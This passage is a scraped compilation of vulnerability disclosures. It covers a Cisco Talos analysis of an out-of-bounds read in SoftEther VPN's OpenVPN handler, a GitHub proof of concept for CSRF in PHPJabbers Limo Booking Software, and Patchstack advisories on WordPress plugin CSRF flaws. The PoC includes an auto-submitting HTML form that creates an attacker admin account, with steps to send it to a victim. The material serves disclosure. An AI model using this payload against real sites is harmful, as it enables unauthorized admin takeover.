            NULL,
            OvsInit,
            OvsFree,
            OvsIsPacketForMe,
            OvsProcessData,
            OvsProcessDatagrams
        };
    
        return &impl;
    }
    

Wrapped by the most simple function, OvsGetProtoImpl() returns a set of function pointers to our proto->Containers. As such, we must now look at the OvsIsPacketForMe function and subsequently OvsProcessData:

    // Check whether it's an OpenVPN packet
    bool OvsIsPacketForMe(const PROTO_MODE mode, const void *data, const UINT size)
    {
        if (data == NULL || size < 2)
        {
            return false;
        }
    
        if (mode == PROTO_MODE_TCP)  // [6]
        {
            const UCHAR *raw = data;
            if (raw[0] == 0x00 && raw[1] == 0x0E)
            {
                return true;
            }
        }
        else if (mode == PROTO_MODE_UDP)
        {
            OPENVPN_PACKET *packet = OvsParsePacket(data, size);
            if (packet == NULL)
            {
                return false;
            }
    
            OvsFreePacket(packet);
            return true;
        }
    
        return false;
    }
    

Since we’re talking TCP, we hit the branch at \[6\]. The only thing that determines whether or not a packet is treated as OpenVPN traffic is if it starts with “\\x00\\x0E”. Continuing on, we now examine where the actual processing of data occurs in OvsProcessData:

    bool OvsProcessData(void *param, TCP_RAW_DATA *in, FIFO *out)
    {
        bool ret = true;
        UINT i;
        OPENVPN_SERVER *server = param;
        UCHAR buf[OPENVPN_TCP_MAX_PACKET_SIZE];  // 2000, 0x7d0  
    
        if (server == NULL || in == NULL || out == NULL)
        {
            return false;
        }
    
        // Separate to a list of datagrams by interpreting the data received from the TCP socket
        while (true)
        {
            UDPPACKET *packet;
            USHORT payload_size, packet_size;
            FIFO *fifo = in->Data;
            const UINT fifo_size = FifoSize(fifo);
    
            if (fifo_size < sizeof(USHORT))
            {
                // Non-arrival
                break;
            }
    
            // The beginning of a packet contains the data size
            payload_size = READ_USHORT(FifoPtr(fifo));           // [7]
            packet_size = payload_size + sizeof(USHORT);         // [8] 
    
            if (payload_size == 0 || packet_size > sizeof(buf))
            {
                ret = false;
                Debug("OvsProcessData(): Invalid payload size: %u bytes\n", payload_size);
                break;
            }
    
            if (fifo_size < packet_size) // fifo_size ends up being actual size of bytes recvd...
            {
                // Non-arrival
                break;
            }
    
    
        if (ReadFifo(fifo, buf, packet_size) != packet_size)    // [9]
        {
            ret = false;
            Debug("OvsProcessData(): ReadFifo() failed to read the packet\n");
            break;
        }
    
        // Insert packet into the list  // only a dos since we're oob'ing into thread stack data
        packet = NewUdpPacket(&in->SrcIP, in->SrcPort, &in->DstIP, in->DstPort, Clone(buf + sizeof(USHORT), payload_size), payload_size);  // [10]
        Add(server->RecvPacketList, packet);
    }
    
    // Process the list of received datagrams
    OvsRecvPacket(server, server->RecvPacketList, OPENVPN_PROTOCOL_TCP); // [11]
    

Starting out, because of our required “\\x00\\x0e” start to our packet, we hit the READ_USHORT at \[7\], and payload_size is naturally 0xe. The subsequent 0xe bytes get read in at \[9\], and then a UDP packet is created at \[10\] to pass the packet on for further processing at \[11\]. We need not go further, however, since the vulnerability lies plainly above. When hitting the next iteration of the while (true) loop, there is no requirement for our buffer to start with “\\x00\\x0e”. As such, if our next two bytes are, say, “\\xFF\\xFF”, then the payload_size gets set to 0xFFFF at \[7\], while the packet_size ushort gets set to 0x1 at \[8\]. Thus we read in a single byte at \[9\], which passes the return value check, and a new UDP packet is created with a length of payload_size at \[10\] (not packet_size).

While normally this would just read in out-of-bounds data from the buf stack buffer and pass it into further processing, since we’re in a linux thread, there’s usually a guard page at the bottom of the thread stack like so:

      0x7f5d00000000     0x7f5d00063000    0x63000        0x0  rw-p   // buf @ 0x7f5d00045abe
      0x7f5d486c6000     0x7f5d486c7000     0x1000        0x0  ---p   // guard pages
      0x7f5d486c7000     0x7f5d486f8000    0x31000        0x0  rw-p   // next thread 
    

Apparently the OvsProcessData function is not far up enough in the backtrace, and so our 0xFFFF read on the stack ends up hitting the guard page and causing a crash. This might behave differently if we are on a Windows SoftEther server; it has not been tested.

**Crash Information**

    Thread 22 "vpnserver" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f5d486c5380 (LWP 1214911)]
    __memmove_evex_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:708
    708     ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    <(^.^)>#bt
    #0  __memmove_evex_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:708
    #1  0x00007f5d49959e1c in Clone (addr=addr@entry=0x7f5d486c3e52, size=size@entry=65535) at /softether/SoftEtherVPN_orig/src/Mayaqua/Memory.c:3790
    #2  0x00007f5d49ae7253 in OvsProcessData (param=0x7f5d0001d710, in=0x7f5d0000fa40, out=0x7f5d0000bbe0) at /softether/SoftEtherVPN_orig/src/Cedar/Proto_OpenVPN.c:171
    #3  0x00007f5d49acfc0a in ProtoHandleConnection (proto=0x558a14d696d0, sock=sock@entry=0x7f5d1c007080, protocol=protocol@entry=0x0) at /softether/SoftEtherVPN_orig/src/Cedar/Proto.c:590
    #4  0x00007f5d49aa6213 in ConnectionAccept (c=c@entry=0x7f5d0000df40) at /softether/SoftEtherVPN_orig/src/Cedar/Connection.c:3027
    #5  0x00007f5d49ac3142 in TCPAcceptedThread (param=<optimized out>, t=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:181
    #6  TCPAcceptedThread (t=<optimized out>, param=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:140
    #7  0x00007f5d4995443d in ThreadPoolProc (param=0x7f5cfc00c730, t=0x7f5cfc00c500) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:872
    #8  ThreadPoolProc (t=0x7f5cfc00c500, param=0x7f5cfc00c730) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:827
    #9  0x00007f5d499907d1 in UnixDefaultThreadProc (param=0x7f5cfc0072e0) at /softether/SoftEtherVPN_orig/src/Mayaqua/Unix.c:1594
    #10 0x00007f5d49759b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
    #11 0x00007f5d497eba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    

**VENDOR RESPONSE**

Vendor pull request on Github: https://github.com/SoftEtherVPN/SoftEtherVPN/pull/1824

**TIMELINE**

2023-04-03 - Vendor Disclosure  
2023-04-03 - Initial Vendor Contact  
2023-04-17 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-22308: TALOS-2023-1737 || Cisco Talos Intelligence Group

PHPJabbers Limo Booking Software 1.0 is vulnerable to Cross Site Request Forgery (CSRF) to add an admin user via the Add Users Function, aka an index.php?controller=pjAdminUsers&action=pjActionCreate URI.

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

**1** branch **0** tags

Code

*   Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

**Files**

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

\# CVE-2023-43147

 Vendor: PHPJabbers
 Vendor Homepage: https://www.phpjabbers.com/
 Software Link: https://www.phpjabbers.com/limo-booking-software
 Version: 1.0
 Tested on: Windows 10 Pro
 Impact: Add an attacker user with admin privileges
 CVE:

 Cross Site Request Forgery vulnerability in limo-booking-software allows a remote attacker to execute add and user with admin privileges
 

POC
 1 - Make an file with with this CODE and SAVE in HTML . If you save a new request to make a CSRF be sure that you change role\_id=0 to 1 (role\_id=1)

 <html>
    <body>
    <form action="https://demo.phpjabbers.com/1694190842\_980/index.php?controller=pjAdminUsers&action=pjActionCreate" method="POST">
      <input type="hidden" name="user&#95;create" value="1" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="email" value="hacker&#64;admin&#46;tor" />
      <input type="hidden" name="password" value="admin1234" />
      <input type="hidden" name="name" value="admintor" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="status" value="T" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms\[0\].submit();
    </script>
  </body>
</html>

2 - Example test.html

3 - Send to the victim

4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button the code will changes in his actually session and one user will add in the panel admin
with admin privileges.

CVE-2023-43147: GitHub - MinoTauro2020/CVE-2023-43147: CVE-2023-43148

PHPJabbers Limo Booking Software 1.0 is vulnerable to Cross Site Request Forgery (CSRF) via the Add Users Function, aka an index.php?controller=pjAdminUsers&action=pjActionCreate URI.

CVE-2023-43147

Cross-Site Request Forgery (CSRF) vulnerability in OTWthemes Blog Manager Light plugin <= 1.20 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Blog Manager Light Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45102: WordPress Blog Manager Light plugin <= 1.20 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Jonk @ Follow me Darling Sp*tify Play Button for WordPress plugin <= 2.10 versions.

**Solution**

 No fix

No patched version is available.

BuShiYue discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Sp\*tify Play Button for WordPress Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 1 present

 2 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-41131: WordPress Sp*tify Play Button for WordPress plugin <= 2.10 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Fedor Urvanov, Aram Kocharyan Urvanov Syntax Highlighter plugin <= 2.8.33 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Urvanov Syntax Highlighter Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45106: WordPress Urvanov Syntax Highlighter plugin <= 2.8.33 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in YAS Global Team Permalinks Customizer plugin <= 2.8.2 versions.

**Solution**

 No fix

No patched version available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Permalinks Customizer Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45103: WordPress Permalinks Customizer plugin <= 2.8.2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Arul Prasad J Publish Confirm Message plugin <= 1.3.1 versions.

**Solution**

 No fix

No patched version is available.

Taihei Shimamine discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Publish Confirm Message Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

Source

CVE